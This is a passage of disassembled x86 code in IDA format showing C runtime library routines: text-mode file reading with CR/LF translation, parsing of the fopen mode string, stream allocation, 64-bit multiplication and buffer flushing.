XREF: sub_41FD80+39j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DE320[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 48h test edx, edx jz short loc_41FE59 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] movsx eax, byte ptr [edx+ecx+5] cmp eax, 0Ah jz short loc_41FE59 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] mov ecx, [ebp+var_14] mov dl, [eax+edx+5] mov [ecx], dl mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov byte ptr [edx+ecx+5], 0Ah loc_41FE59: ; CODE XREF: sub_41FD80+62j ; sub_41FD80+82j push 0 lea eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov eax, [edx+ecx] push eax call dword_4E03B8 ; ReadFile test eax, eax jnz short loc_41FED8 call dword_4E0350 ; RtlGetLastWin32Error mov [ebp+var_8], eax cmp [ebp+var_8], 5 jnz short loc_41FEB7 call sub_4224D0 mov dword ptr [eax], 9 call sub_4224E0 mov ecx, [ebp+var_8] mov [eax], ecx or eax, 0FFFFFFFFh jmp loc_4201C1 ; --------------------------------------------------------------------------- loc_41FEB7: ; CODE XREF: sub_41FD80+118j cmp [ebp+var_8], 6Dh jnz short loc_41FEC4 xor eax, eax jmp loc_4201C1 ; --------------------------------------------------------------------------- loc_41FEC4: ; CODE XREF: sub_41FD80+13Bj mov edx, [ebp+var_8] push edx call sub_422430 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4201C1 ; --------------------------------------------------------------------------- loc_41FED8: ; CODE XREF: sub_41FD80+109j mov eax, [ebp+var_18] add eax, [ebp+var_10] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz loc_4201BE cmp [ebp+var_10], 0 jz short loc_41FF54 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jnz short loc_41FF54 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] mov cl, [eax+edx+4] or cl, 4 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, dword_4DE320[edx*4] mov [edx+eax+4], cl jmp short loc_41FF8A ; --------------------------------------------------------------------------- loc_41FF54: ; CODE XREF: sub_41FD80+18Ej ; sub_41FD80+199j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov al, [edx+ecx+4] and al, 0FBh mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, dword_4DE320[ecx*4] mov [ecx+edx+4], al loc_41FF8A: ; CODE XREF: sub_41FD80+1D2j mov edx, [ebp+arg_4] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_41FF96: ; CODE XREF: sub_41FD80:loc_4201B0j mov ecx, [ebp+arg_4] add ecx, [ebp+var_18] cmp [ebp+var_4], ecx jnb loc_4201B5 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 1Ah jnz short loc_42000E mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 40h test ecx, ecx jnz short loc_420009 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DE320[edx*4] mov dl, [ecx+eax+4] or dl, 2 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, dword_4DE320[eax*4] mov [eax+ecx+4], dl loc_420009: ; CODE XREF: sub_41FD80+250j jmp loc_4201B5 ; --------------------------------------------------------------------------- loc_42000E: ; CODE XREF: sub_41FD80+22Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jz short loc_42003A mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp loc_4201B0 ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FD80+297j mov edx, [ebp+var_18] mov eax, [ebp+arg_4] lea ecx, [eax+edx-1] cmp [ebp+var_4], ecx jnb short loc_420090 mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 0Ah jnz short loc_42006F mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42008B ; --------------------------------------------------------------------------- loc_42006F: ; CODE XREF: sub_41FD80+2D3j mov ecx, [ebp+var_C] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42008B: ; CODE XREF: sub_41FD80+2EDj jmp loc_4201B0 ; --------------------------------------------------------------------------- loc_420090: ; CODE XREF: sub_41FD80+2C7j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov [ebp+var_8], 0 push 0 lea ecx, [ebp+var_10] push ecx push 1 lea edx, [ebp+var_1C] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov eax, [edx+ecx] push eax call dword_4E03B8 ; ReadFile test eax, eax jnz short loc_4200D9 call dword_4E0350 ; RtlGetLastWin32Error mov [ebp+var_8], eax loc_4200D9: ; CODE XREF: sub_41FD80+34Ej cmp [ebp+var_8], 0 jnz short loc_4200E5 cmp [ebp+var_10], 0 jnz short loc_4200F9 loc_4200E5: ; CODE XREF: sub_41FD80+35Dj mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx jmp loc_4201B0 ; --------------------------------------------------------------------------- loc_4200F9: ; CODE XREF: sub_41FD80+363j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 48h test eax, eax jz short loc_420163 movsx ecx, [ebp+var_1C] cmp ecx, 0Ah jnz short loc_420135 mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_420161 ; --------------------------------------------------------------------------- loc_420135: ; CODE XREF: sub_41FD80+3A2j mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov al, [ebp+var_1C] mov [edx+ecx+5], al loc_420161: ; CODE XREF: sub_41FD80+3B3j jmp short loc_4201B0 ; --------------------------------------------------------------------------- loc_420163: ; CODE XREF: sub_41FD80+399j mov ecx, [ebp+var_C] cmp ecx, [ebp+arg_4] jnz short loc_420185 movsx edx, [ebp+var_1C] cmp edx, 0Ah jnz short loc_420185 mov eax, [ebp+var_C] mov byte ptr [eax], 0Ah mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_4201B0 ; --------------------------------------------------------------------------- loc_420185: ; CODE XREF: sub_41FD80+3E9j ; sub_41FD80+3F2j push 1 push 0FFFFFFFFh mov edx, [ebp+arg_0] push edx call sub_426470 add esp, 0Ch mov [ebp+var_20], eax movsx eax, [ebp+var_1C] cmp eax, 0Ah jz short loc_4201B0 mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_4201B0: ; CODE XREF: sub_41FD80+2B5j ; sub_41FD80:loc_42008Bj ... jmp loc_41FF96 ; --------------------------------------------------------------------------- loc_4201B5: ; CODE XREF: sub_41FD80+21Fj ; sub_41FD80:loc_420009j mov eax, [ebp+var_C] sub eax, [ebp+arg_4] mov [ebp+var_18], eax loc_4201BE: ; CODE XREF: sub_41FD80+184j mov eax, [ebp+var_18] loc_4201C1: ; CODE XREF: sub_41FD80+3Dj ; sub_41FD80+132j ... mov esp, ebp pop ebp retn sub_41FD80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201D0 proc near ; CODE XREF: sub_4175E0+DBp var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov eax, dword_4DE1C0 mov [ebp+var_1C], eax mov [ebp+var_18], 0 mov [ebp+var_10], 0 loc_4201EF: ; CODE XREF: sub_4201D0+47j cmp [ebp+arg_0], 0 jnz short loc_420213 push offset aFilenameNull ; "filename != NULL" push 0 push 47h push offset a_open_c ; "_open.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_420213 int 3 ; Trap to Debugger loc_420213: ; CODE XREF: sub_4201D0+23j ; sub_4201D0+40j xor ecx, ecx test ecx, ecx jnz short loc_4201EF loc_420219: ; CODE XREF: sub_4201D0+71j cmp [ebp+arg_4], 0 jnz short loc_42023D push offset aModeNull ; "mode != NULL" push 0 push 48h push offset a_open_c ; "_open.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_42023D int 3 ; Trap to Debugger loc_42023D: ; CODE XREF: sub_4201D0+4Dj ; sub_4201D0+6Aj xor edx, edx test edx, edx jnz short loc_420219 loc_420243: ; CODE XREF: sub_4201D0+9Bj cmp [ebp+arg_C], 0 jnz short loc_420267 push offset dword_4344AC push 0 push 49h push offset a_open_c ; "_open.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_420267 int 3 ; Trap to Debugger loc_420267: ; CODE XREF: sub_4201D0+77j ; sub_4201D0+94j xor eax, eax test eax, eax jnz short loc_420243 mov ecx, [ebp+arg_4] mov dl, [ecx] mov [ebp+var_20], dl cmp [ebp+var_20], 61h jz short loc_4202AC cmp [ebp+var_20], 72h jz short loc_420289 cmp [ebp+var_20], 77h jz short loc_42029A jmp short loc_4202BE ; --------------------------------------------------------------------------- loc_420289: ; CODE XREF: sub_4201D0+AFj mov [ebp+var_14], 0 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax jmp short loc_4202C5 ; --------------------------------------------------------------------------- loc_42029A: ; CODE XREF: sub_4201D0+B5j mov [ebp+var_14], 301h mov ecx, [ebp+var_1C] or ecx, 2 mov [ebp+var_1C], ecx jmp short loc_4202C5 ; --------------------------------------------------------------------------- loc_4202AC: ; CODE XREF: sub_4201D0+A9j mov [ebp+var_14], 109h mov edx, [ebp+var_1C] or edx, 2 mov [ebp+var_1C], edx jmp short loc_4202C5 ; --------------------------------------------------------------------------- loc_4202BE: ; CODE XREF: sub_4201D0+B7j xor eax, eax jmp loc_4204E6 ; --------------------------------------------------------------------------- loc_4202C5: ; CODE XREF: sub_4201D0+C8j ; sub_4201D0+DAj ... mov [ebp+var_4], 1 loc_4202CC: ; CODE XREF: sub_4201D0:loc_42046Aj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jz loc_42046F cmp [ebp+var_4], 0 jz loc_42046F mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] mov [ebp+var_24], ecx mov edx, [ebp+var_24] sub edx, 2Bh mov [ebp+var_24], edx cmp [ebp+var_24], 49h ja loc_420463 mov ecx, [ebp+var_24] xor eax, eax mov al, byte_420515[ecx] jmp off_4204ED[eax*4] loc_42031B: ; DATA XREF: .data:off_4204EDo mov edx, [ebp+var_14] and edx, 2 test edx, edx jz short loc_42032E mov [ebp+var_4], 0 jmp short loc_420350 ; --------------------------------------------------------------------------- loc_42032E: ; CODE XREF: sub_4201D0+153j mov eax, [ebp+var_14] or al, 2 mov [ebp+var_14], eax mov ecx, [ebp+var_14] and ecx, 0FFFFFFFEh mov [ebp+var_14], ecx mov edx, [ebp+var_1C] or dl, 80h mov [ebp+var_1C], edx mov eax, [ebp+var_1C] and al, 0FCh mov [ebp+var_1C], eax loc_420350: ; CODE XREF: sub_4201D0+15Cj jmp loc_42046A ; --------------------------------------------------------------------------- loc_420355: ; CODE XREF: sub_4201D0+144j ; DATA XREF: .data:00420501o mov ecx, [ebp+var_14] and ecx, 0C000h test ecx, ecx jz short loc_42036B mov [ebp+var_4], 0 jmp short loc_420374 ; --------------------------------------------------------------------------- loc_42036B: ; CODE XREF: sub_4201D0+190j mov edx, [ebp+var_14] or dh, 80h mov [ebp+var_14], edx loc_420374: ; CODE XREF: sub_4201D0+199j jmp loc_42046A ; --------------------------------------------------------------------------- loc_420379: ; CODE XREF: sub_4201D0+144j ; DATA XREF: .data:0042050Do mov eax, [ebp+var_14] and eax, 0C000h test eax, eax jz short loc_42038E mov [ebp+var_4], 0 jmp short loc_420397 ; --------------------------------------------------------------------------- loc_42038E: ; CODE XREF: sub_4201D0+1B3j mov ecx, [ebp+var_14] or ch, 40h mov [ebp+var_14], ecx loc_420397: ; CODE XREF: sub_4201D0+1BCj jmp loc_42046A ; --------------------------------------------------------------------------- loc_42039C: ; CODE XREF: sub_4201D0+144j ; DATA XREF: .data:00420505o cmp [ebp+var_18], 0 jz short loc_4203AB mov [ebp+var_4], 0 jmp short loc_4203BB ; --------------------------------------------------------------------------- loc_4203AB: ; CODE XREF: sub_4201D0+1D0j mov [ebp+var_18], 1 mov edx, [ebp+var_1C] or dh, 40h mov [ebp+var_1C], edx loc_4203BB: ; CODE XREF: sub_4201D0+1D9j jmp loc_42046A ; --------------------------------------------------------------------------- loc_4203C0: ; CODE XREF: sub_4201D0+144j ; DATA XREF: .data:00420509o cmp [ebp+var_18], 0 jz short loc_4203CF mov [ebp+var_4], 0 jmp short loc_4203DF ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_4201D0+1F4j mov [ebp+var_18], 1 mov eax, [ebp+var_1C] and ah, 0BFh mov [ebp+var_1C], eax loc_4203DF: ; CODE XREF: sub_4201D0+1FDj jmp loc_42046A ; --------------------------------------------------------------------------- loc_4203E4: ; CODE XREF: sub_4201D0+144j ; DATA XREF: .data:004204F9o cmp [ebp+var_10], 0 jz short loc_4203F3 mov [ebp+var_4], 0 jmp short loc_420403 ; --------------------------------------------------------------------------- loc_4203F3: ; CODE XREF: sub_4201D0+218j mov [ebp+var_10], 1 mov ecx, [ebp+var_14] or ecx, 20h mov [ebp+var_14], ecx loc_420403: ; CODE XREF: sub_4201D0+221j jmp short loc_42046A ; --------------------------------------------------------------------------- loc_420405: ; CODE XREF: sub_4201D0+144j ; DATA XREF: .data:004204F5o cmp [ebp+var_10], 0 jz short loc_420414 mov [ebp+var_4], 0 jmp short loc_420424 ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4201D0+239j mov [ebp+var_10], 1 mov edx, [ebp+var_14] or edx, 10h mov [ebp+var_14], edx loc_420424: ; CODE XREF: sub_4201D0+242j jmp short loc_42046A ; --------------------------------------------------------------------------- loc_420426: ; CODE XREF: sub_4201D0+144j ; DATA XREF: .data:004204FDo mov eax, [ebp+var_14] and eax, 1000h test eax, eax jz short loc_42043B mov [ebp+var_4], 0 jmp short loc_420444 ; --------------------------------------------------------------------------- loc_42043B: ; CODE XREF: sub_4201D0+260j mov ecx, [ebp+var_14] or ch, 10h mov [ebp+var_14], ecx loc_420444: ; CODE XREF: sub_4201D0+269j jmp short loc_42046A ; --------------------------------------------------------------------------- loc_420446: ; CODE XREF: sub_4201D0+144j ; DATA XREF: .data:004204F1o mov edx, [ebp+var_14] and edx, 40h test edx, edx jz short loc_420459 mov [ebp+var_4], 0 jmp short loc_420461 ; --------------------------------------------------------------------------- loc_420459: ; CODE XREF: sub_4201D0+27Ej mov eax, [ebp+var_14] or al, 40h mov [ebp+var_14], eax loc_420461: ; CODE XREF: sub_4201D0+287j jmp short loc_42046A ; --------------------------------------------------------------------------- loc_420463: ; CODE XREF: sub_4201D0+133j ; sub_4201D0+144j ; DATA XREF: ... mov [ebp+var_4], 0 loc_42046A: ; CODE XREF: sub_4201D0:loc_420350j ; sub_4201D0:loc_420374j ... jmp loc_4202CC ; --------------------------------------------------------------------------- loc_42046F: ; CODE XREF: sub_4201D0+10Dj ; sub_4201D0+117j push 1A4h mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] push eax call sub_429E30 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_420495 xor eax, eax jmp short loc_4204E6 ; --------------------------------------------------------------------------- loc_420495: ; CODE XREF: sub_4201D0+2BFj mov ecx, dword_4DDFDC add ecx, 1 mov dword_4DDFDC, ecx mov edx, [ebp+arg_C] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] mov [eax+0Ch], ecx mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov ecx, [ebp+var_C] mov dword ptr [ecx+8], 0 mov edx, [ebp+var_C] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax+10h], ecx mov eax, [ebp+var_C] loc_4204E6: ; CODE XREF: sub_4201D0+F0j ; sub_4201D0+2C3j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4201D0 endp ; --------------------------------------------------------------------------- off_4204ED dd offset loc_42031B ; DATA XREF: sub_4201D0+144r dd offset loc_420446 dd offset loc_420405 dd offset loc_4203E4 dd offset loc_420426 dd offset loc_420355 dd offset loc_42039C dd offset loc_4203C0 dd offset loc_420379 dd offset loc_420463 byte_420515 db 0 ; DATA XREF: sub_4201D0+13Er dw 909h dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h dd 0CC080909h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420560 proc near ; CODE XREF: sub_4175E0+B9p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 push 2 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 jmp short loc_420589 ; --------------------------------------------------------------------------- loc_420580: ; CODE XREF: sub_420560+A8j ; sub_420560:loc_420689j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_420589: ; CODE XREF: sub_420560+1Ej mov ecx, [ebp+var_4] cmp ecx, dword_4DF680 jge loc_42068E mov edx, [ebp+var_4] mov eax, dword_4DE674 cmp dword ptr [eax+edx*4], 0 jz short loc_42061F mov ecx, [ebp+var_4] mov edx, dword_4DE674 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jnz short loc_42061D mov edx, [ebp+var_4] mov eax, dword_4DE674 mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_4] push edx call sub_41AE60 add esp, 8 mov eax, [ebp+var_4] mov ecx, dword_4DE674 mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_42060D mov ecx, [ebp+var_4] mov edx, dword_4DE674 mov eax, [edx+ecx*4] push eax mov ecx, [ebp+var_4] push ecx call sub_41AED0 add esp, 8 jmp loc_420580 ; --------------------------------------------------------------------------- loc_42060D: ; CODE XREF: sub_420560+8Dj mov edx, [ebp+var_4] mov eax, dword_4DE674 mov ecx, [eax+edx*4] mov [ebp+var_8], ecx jmp short loc_42068E ; --------------------------------------------------------------------------- loc_42061D: ; CODE XREF: sub_420560+5Dj jmp short loc_420689 ; --------------------------------------------------------------------------- loc_42061F: ; CODE XREF: sub_420560+44j push 55h push offset aStream_c ; "stream.c" push 2 push 38h call sub_4150C0 add esp, 10h mov edx, [ebp+var_4] mov ecx, dword_4DE674 mov [ecx+edx*4], eax mov edx, [ebp+var_4] mov eax, dword_4DE674 cmp dword ptr [eax+edx*4], 0 jz short loc_420687 mov ecx, [ebp+var_4] mov edx, dword_4DE674 mov eax, [edx+ecx*4] add eax, 20h push eax call dword_4E0470 ; InitializeCriticalSection mov ecx, [ebp+var_4] mov edx, dword_4DE674 mov eax, [edx+ecx*4] add eax, 20h push eax call dword_4E03A8 ; RtlEnterCriticalSection mov ecx, [ebp+var_4] mov edx, dword_4DE674 mov eax, [edx+ecx*4] mov [ebp+var_8], eax loc_420687: ; CODE XREF: sub_420560+EAj jmp short loc_42068E ; --------------------------------------------------------------------------- loc_420689: ; CODE XREF: sub_420560:loc_42061Dj jmp loc_420580 ; --------------------------------------------------------------------------- loc_42068E: ; CODE XREF: sub_420560+32j ; sub_420560+BBj ... cmp [ebp+var_8], 0 jz short loc_4206CF mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+10h], 0FFFFFFFFh loc_4206CF: ; CODE XREF: sub_420560+132j push 2 call sub_41BD20 add esp, 4 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_420560 endp ; =============== S U B R O U T I N E ======================================= sub_4206E0 proc near ; CODE XREF: .data:00417A5Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_4206F9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4206F9: ; CODE XREF: sub_4206E0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_4206E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420720 proc near ; CODE XREF: sub_417CB0+E5p ; sub_417E80+E4p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi loc_420729: ; CODE XREF: sub_420720+31j cmp [ebp+arg_4], 0 jnz short loc_42074D push offset dword_4344AC push 0 push 69h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_42074D int 3 ; Trap to Debugger loc_42074D: ; CODE XREF: sub_420720+Dj ; sub_420720+2Aj xor eax, eax test eax, eax jnz short loc_420729 mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_10], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 82h test edx, edx jz short loc_42077F mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 40h test ecx, ecx jz short loc_420795 loc_42077F: ; CODE XREF: sub_420720+50j mov edx, [ebp+var_8] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_8] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_42098D ; --------------------------------------------------------------------------- loc_420795: ; CODE XREF: sub_420720+5Dj mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 1 test eax, eax jz short loc_4207EC mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 10h test eax, eax jz short loc_4207D5 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFFEh mov eax, [ebp+var_8] mov [eax+0Ch], edx jmp short loc_4207EC ; --------------------------------------------------------------------------- loc_4207D5: ; CODE XREF: sub_420720+97j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+var_8] mov [eax+0Ch], edx or eax, 0FFFFFFFFh jmp loc_42098D ; --------------------------------------------------------------------------- loc_4207EC: ; CODE XREF: sub_420720+80j ; sub_420720+B3j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov [ebp+var_4], 0 mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jnz short loc_42085F cmp [ebp+var_8], offset dword_444EF8 jz short loc_420843 cmp [ebp+var_8], offset dword_444F18 jnz short loc_420853 loc_420843: ; CODE XREF: sub_420720+118j mov edx, [ebp+var_10] push edx call sub_42A390 add esp, 4 test eax, eax jnz short loc_42085F loc_420853: ; CODE XREF: sub_420720+121j mov eax, [ebp+var_8] push eax call sub_429D20 add esp, 4 loc_42085F: ; CODE XREF: sub_420720+10Fj ; sub_420720+131j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz loc_42094B loc_420873: ; CODE XREF: sub_420720+187j mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [eax] sub edx, [ecx+8] test edx, edx jge short loc_4208A3 push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"... push 0 push 0A0h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4208A3 int 3 ; Trap to Debugger loc_4208A3: ; CODE XREF: sub_420720+160j ; sub_420720+180j xor eax, eax test eax, eax jnz short loc_420873 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [ecx] sub eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+var_8] mov [eax], edx mov ecx, [ebp+var_8] mov edx, [ecx+18h] sub edx, 1 mov eax, [ebp+var_8] mov [eax+4], edx cmp [ebp+var_4], 0 jle short loc_4208F6 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, [edx+8] push eax mov ecx, [ebp+var_10] push ecx call sub_426840 add esp, 0Ch mov [ebp+var_C], eax jmp short loc_42093E ; --------------------------------------------------------------------------- loc_4208F6: ; CODE XREF: sub_420720+1B8j cmp [ebp+var_10], 0FFFFFFFFh jz short loc_420919 mov edx, [ebp+var_10] sar edx, 5 mov eax, [ebp+var_10] and eax, 1Fh imul eax, 24h mov ecx, dword_4DE320[edx*4] add ecx, eax mov [ebp+var_14], ecx jmp short loc_420920 ; --------------------------------------------------------------------------- loc_420919: ; CODE XREF: sub_420720+1DAj mov [ebp+var_14], offset dword_447A30 loc_420920: ; CODE XREF: sub_420720+1F7j mov edx, [ebp+var_14] movsx eax, byte ptr [edx+4] and eax, 20h test eax, eax jz short loc_42093E push 2 push 0 mov ecx, [ebp+var_10] push ecx call sub_4263E0 add esp, 0Ch loc_42093E: ; CODE XREF: sub_420720+1D4j ; sub_420720+20Cj mov edx, [ebp+var_8] mov eax, [edx+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_420969 ; --------------------------------------------------------------------------- loc_42094B: ; CODE XREF: sub_420720+14Dj mov [ebp+var_4], 1 mov edx, [ebp+var_4] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] push ecx call sub_426840 add esp, 0Ch mov [ebp+var_C], eax loc_420969: ; CODE XREF: sub_420720+229j mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jz short loc_420985 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx or eax, 0FFFFFFFFh jmp short loc_42098D ; 